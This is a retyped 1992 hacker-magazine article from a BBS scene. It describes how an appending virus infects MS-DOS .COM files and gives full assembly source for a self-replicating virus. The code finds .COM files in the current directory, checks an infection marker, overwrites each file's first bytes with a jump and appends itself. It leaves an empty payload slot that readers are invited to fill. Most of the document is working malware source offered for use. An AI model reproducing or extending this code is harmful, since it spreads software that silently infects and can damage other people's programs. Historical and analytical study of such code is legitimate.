****************************************************************************** This Was Taken From 2600 Magazine Spring 1992 Typing Work Done by OMEGA/MEGA-Ind. Call Europe's Biggest H/P/A/V Board on +31-(0)79-426-079 ****************************************************************************** An MS-DOS Virus (By The Paranoid Panda) ----------------------------------------- The MS-DOS *.COM File is the simplest of all executable files. This format was included in MS-DOS to provide compatibility with the CPM operating system. Allthough CPM seems to be largely a thing of the past, *.COM files are still being produced, so there is plenty of opportunity for infection. As with the Atari virus I Gave you in Spring 1991 issue of 2600, this virus is designed to infect executable files while still rendering them capable of fully performing their original, intended functions. Consequently, this is not an overwrite virus, and preserves all of the infected file's original code. The *.COM file has no program header, as do *.EXE files, and has no file trailer such as Atari *.PGM, *.TOS and *.TTP program files do. All the *.COM file has is executable 80x86 instructions. It must be capable of loading in one segment (64 Kbytes), along with the Program Segment Prefix (PSP) Created by MS-DOS at load time, as well as the two byte stack which is automatically created. Hence, the complete *.COM file must always be 64 Kbytes, less 256 Bytes for the PSP, less 2 bytes for the stack. As a result, a candidate file for infection must be short enough so that when its length is increased by the length of the virus, it will still not exceed this maximum length, and MS-DOS will still load it for execution. MS-DOS will load *.COM files at offset 100 hex (100h using the MicroSoft Assembler notation), and all memory references in the program are short (i.e. 16 bit) addresses. This is, in essence, an absolute encoding and addressing scheme, so that the virus code cannot be added at the beginning while moving all the original code down in the address by the length of the virus. The only way to add the virus is at the end, and to insert a short jump to the virus beginning at the start of the file. This means that the first three bytes of the original code will be destroyed, so the virus must save these three bytes between the end of the file's code and the beginning of the virus code. Once the virus has completed execution, it restores the original three to the file's beginning in RAM, and jumps there. The comments in the accompanying listing pretty well tell the rest of the story, but a few words are still in order. There is a space in the code, at symbolic location "payload:" for insertion of code which does the actual "dirty work" of the virus. All you will find ther is a single "no op" in- struction. You can add whatever you think best at that point. This code is supplied for instructional purpose only, and all that clap-trap. Note also that this particular version of the virus does not perform a very sophisticated search for candidates for infection. The search will only be performed in the directory where the already infected file resides, and does not search any subdirectories. That's easy enough to fix, ans as the college text books say, that is an exercise which is left to the student. Happy Computing! -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ PAGE,120 ;Taken From The 2600 Magazine Spring 1992 Volume Nine, Number One! Page 4-7 ;Typing work done by OMEGA/MEGA-Ind. On 31th may 92. ;File Virus.asm - This is the launch program for the Mark II virus ;It is to be assembled, linked, and converted to a *.com file using ;EXE2BIN. When run, it looks within the defined search space for other ;COM files to infect, and infects them. Then it runs its payload module. ;This launch program is structured like an infected file, so it contains ;a "dummy" host program like that which would be in an infected file. ;Control is returned to this dummy host program when this program runs. ;In the infected file, control will be returned to the actual program ;it contains after the payload module of its parasitic virus runs. _VIRUS SEGMENT ASSUME cs:_VIRUS,ds:_VIRUS,ss:_VIRUS ORG 100h ;This is the start of the dummy host program. Control is transferred ;here after the virus runs. All it does is terminate the program with ;a normal MS-DOS termination call, after having put out a message ;informing that the program has terminated normally. ;The next instruction is what is actually intended to be ;in the dummy host program. It is the beginning of the code which ;sets up the DOS call to write the termination message on the screen. ;The infected program which would have infected this one would have ;inserted a jump to the beginning of the virus over this, after saving ;what was actually there. When the virus completes, it will restore ;the parts of the mangled original host code, and run the host program. ; ; mov bx,1 ; ;What you see encoded below, using the "db" assembler pseudo-op, is ;the hand encoded jump to the beginning of the virus, installed by the ;program which would have infected this one. As it happens, the jump ;written into the beginning is the same length as the instruction ;(mov bx,1) which was there in the first place. In general, there ;is no guarantee just what will be there, and how long it will be. ;Since the program being infected is a COM program, the only guarantee ;is that the file will begin with some executable instruction. Thus, ;the program getting infected may have part of an executable instruction ;mangled by the inserted jump, or possibly one entire instruction plus ;part of another. ; ;The inserted code begins with "E9", the op-code byte for a jump relative ;to the contents of the IP as it will look after the jump plus displacement ;is fetched. (The IP will contain 103h. COM programs begin at offset ;100h, and the jump plus displacement requires 3 bytes.) The Next two ;bytes are the displacement to the beginning of the virus. The ;displacement is calculated by the infecting program, as follows: ; ;D = displacement to be added to current IP (=103) to get to ; virus start. ;D = Uninfected file length ; - ; Current IP (=103) ; + ; 4 bytes storage space for the overwritten first instruction. ; ; If the uninfected length of the target file is odd, a zero byte ; will be added at its end before the virus code is attached. ; ; The virus will thus begin on a word boundary, and NOP's inserted ; by the assembler to put other things on a word boundary will still ; perform their intended purpose. ; filelength EQU begin-start start: db 0E9h ;Op-code for jump dw filelength+4-3 ;Displacement calculation mov cx,lmessage mov dx,OFFSET message mov ah,40h int 21h ;Put termination message on the screen mov ah,4Ch ;Function number of normal pgm termination int 21h ;Call DOS and terminate. message: db"Launch program has terminated normally.",0Dh,0Ah,0 lmessage EQU $-message ;This ends the dummy host program. What follows is the actual virus, ;which will be copied into the target file. virlength EQU finish-begin+102h ;Length of virus + PSP + initial stack. begin: db 0bbh,01,00 ;The instruction "mov bx,1" which ;would have been saved here by the ;infected program. db 00 ;Make sabe bin 4 bytes total. virusbegin: ;The beginning of the actual virus code. ;Get and save the base address of the virus. mov bp,101h ;Address of LSB of jump displacement mov bx,WORDPTR[bp] ;Get displacement in bx add bx,103h ;Add IP contents after first instruction ;Now bx contains address of ;"virusbegin:" mov bp,100h ;Beginning of pgm, where original ;instruction will be restored. mov dl,[bx-4] mov [bp],dl ;First byte mov dl,[bx-3] mov [bp+1],dl ;Second byte mov dl,[bx-2] mov [bp+2],dl ;Third byte push bx ;Save the actual start of virus. ;########## STACK POINTER INFO:One word pushed on stack ########### ;********** Beginning of the Infection Module *************** ;First, search for an uninfected candidate file. If one is found, ;infect it before running the payload module. If none is found, ;proceed directly with the payload Module. ;Use function SFIRST (Int 21h,fn. 4Eh) to get a candidate file. jmp sfirst ;Jump over wildcard string wildcard: db "*.com",0 ;Wildcard name for COM files sfirst: mov ah,4Eh ;Function no. of SFIRST pop dx ;Get base address of virus start push dx ;Restore the stack pointer add dx,wildcard-virusbegin ;Add distance to string. mov cx,0 ;Attribute word=seek normal files int 21h ;Call DOS jnc over1 ;Found one. jmp payload ;Otherwise, no COM files, do payload. ;Now that a candidate file is found, make sure that when the virus is ;added, it will not be too long to be a COM file. COM file maximum ;length is 64kbytes less 100h bytes for the PSP, less two bytes for the 0 ;bytes added on the stack by the operating system on loading. over1: mov bx,80h+1Ah ;Address in PSP/PCB containing ;file length. mov ax,virlength ;Length of virus add ax,[bx] ;Will get overflow if file length ;too big. jno checkinfect ;No overflow, keep going. jmp snext ;This file too big to infect, try another ;A candidate file has been found. Determine if it is infected, or ;go on to the next one. checkinfect: ;Open the file. fileopen: mov ah,3Dh ;Hn. no of OPEN WITH HANDLE mov al,02 ;Open for read/write access. mov dx,80h+1Eh ;Location in DTA of file name int 21h ;Call DOS. jnc opened ;Open was successful, continue jmp snext ;Cannot open this file, look for more. opened: push ax ;Save file handle. ;########## STACK POINTER INFO: Two words pushed on stack ############# ;Open was successful, move the file pointer to the infection marker. mov ah,42h ;fn. no. of LSEEK mov al,02 ;Measure offset from end of file pop bx ;Get file handle. push bx ;Keep file handle on top of stack mov cx,0FFFFh ;MSB of offset from end. ;Sign extend. mov dx,0FFFCh ;LSB of infection marker. ;File end -4. int 21h ;Call DOS. jnc over3 ;No error, continue. jmp closefile ;Error occurred, close this one ;and look again. ;Read the last four bytes. over3: mov ah,3Fh ;Fn. no of READ pop bx ;Get file handle. pop dx ;Get address of "virusbegin:" push dx ;Restore to stack push bx ;Restore file handle on stack. add dx,-4 ;Move pointer back to start of save bin. mov cx,4 ;Read 4 bytes int 21h ;Call DOS jnc over4 ;No error, keep going. jmp closefile ;Error occurred, close this one, ;look again. ;Compare the last four bytes with the infection marker. over4: pop bx ;Take file handle off to get to adr. pop bp ;Get address of "virusbegin:" push bp ;Restore buffer address push bx ;Restore file handle. mov bh,[bp-4] ;First byte mov bl,[bp-3] ;Second byte xor bx,0001h ;First half match? jnz over5 ;First half doesn't match, continue. over4a: mov bh,[bp-2] ;Third byte mov bl,[bp-1] ;Fourth byte xor bx,0FFE0h ;Second half match? jnz over5 ;No match. Continue. jmp closefile ;Matches marker. Close and try again. ;File is not infected. Proceed to infect. ; ;Move file pointer to beginning of file. over5: mov ah,42h ;Fn. no. of LSEEK pop bx ;File handle in bx. push bx ;Keep the stack equalized. mov al,00 ;Offset from file beginning. mov cx,0 ;Offset = 0 mov dx,0 ;Offset = 0 int 21h ;Call DOS jnc over6 ;No error, continue jmp closfile ;Error, try another file. ;Save the first three bytes in the buffer. over6: mov ah,3Fh ;Fn. no. of READ pop bx ;Get the file handle pop dx ;Beginning of buffer push dx ;Restore the stack push bx ;Restore the stack add dx,-4 ;Move pointer to start of save bin. mov cx,3 ;Read 3 bytes int 21h ;Call DOS mov al,0 ;Zero byte for fourth loc. in save bin. add dx,3 ;Reg. dx points to fourth loc in save bin mov bp,dx ;Place in base pointer for index. mov [bp],al ;Write zero byte in fourth loc. ;Move file pointer back to the beginning of the file. mov ah,42h ;Fn. no. of LSEEK pop bx ;File handle in bx. push bx ;Restore the stack mov al,00 ;Offset from file beginning mov cx,0 ;Zero offset mov dx,0 ;Zero offset int 21h ;Call DOS jnc past ;No error, continue jmp closefile ;Error, try another file ;Overwrite the first three bytes with a jump to virus beginning. tembuf: db 0E9h,0,0 past: pop bx ;Get file handle pop bp ;Get actual address of "virusbegin" push bp ;Equalize stack push bx ;Equalize stack mov si,80h+1Ah ;Location in DTA of file length mov ax,[si] ;Get target file length in ax xchg ah,al ;Swap halves temporarily sahf ;Lower byte of file length to flag reg. xchg ah,al ;Swap back jnc noadd ;LSB of ax into carry. Jump if c(ax) even. add ax,1 ;Else, add one to c(ax) to make ;result even. noadd: add ax,1 ;Total jump is file length -3+1 add bp,tempbuf-virusbegin ; Get address of tempbuf in bp mov [bp+1],al ;First displacement byte mov [bp+2],ah ;Second displacement byte mov dx,bp ;Start of buffer to dx mov ah,40h ;Function no. of WRITE mov cx,3 ;Write 3 Bytes int 21h ;Call DOS ;Move the file pointer to the end of the file. mov ah,42h ;Fn. no. of LSEEK mov al,02 ;Offset measured from end. mov cx,0 ;Zero offset mov dx,0 ;Zero offset pop bx ;Get file handle push bx ;Restore the stack int 21h ;Call DOS ;Check target file length. If odd, add a 0 byte at the end. mov bp,80h+1Ah ;Address of lower byte of file length mov ax,[bp] ;Get lower byte in ax for comparison and ax,1 ;Get lsb of file length jz skip ;Skip if file length even mov ah,40h ;Fn. no. of WRITE pop bx ;Get file handle pop bp ;Address of "virusbegin" push bp ;Equalize stack push bx ;Equalize stack add bp,-1 ;Move pointer just behind saved 3 bytes mov dx,bp ;Location of one byte buffer mov cx,1 ;Write one byte mov [bp],ch ;Zero byte to be written int 21h ;Call DOS ;Write the virus onto the end of the target file. skip: mov ah,40h ;Fn. no. of WRITE mov cx,finish-begin ;No. of bytes to be written equals 4 byte ;save bin plus virus executable code. pop bx ;Get file handle pop dx ;Address of "virusbegin" push dx ;Equalized stack push bx ;Equalized stack add dx,-4 ;Include saved first three bytes. int 21h ;Call DOS pop bx ;Get file handle mov ah,3Eh ;Fn. no. of CLOSE int 21h ;Close file for good. jmp payload ;Infection complete. Run the virus ;payload. closefile: pop bx ;Get file handle off stack permanently mov ah,3Eh ;Fn. no. of CLOSE int 21h ;Call DOS ; ########### STACK POINTER INFO:One word pushed on stack ########### snext: mov ah,4Fh ;Function no. of SNEXT int 21h ;Call DOS jc payload ;If error, just go and do payload. jmp fileopen ;Otherwise, try to infect this one ; *********** End of the Infection Module ************ ; ************** Beginning of the Payload Module. ********** payload: nop ; ************** End of the Payload Module ************ ;Time to finish up. Restore the stack and jump to cs:100h pop bp ;############# STACK POINTER INFO:Nothing left on stack ########### mov ax,100h jmp ax finish: _VIRUS ENDS END start ; Remember Where You Saw it First ; -----------> Perfect Crime : +31-(0)-79-426-079 <------------- ; Typing Work Done by OMEGA/MEGA-Ind. -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+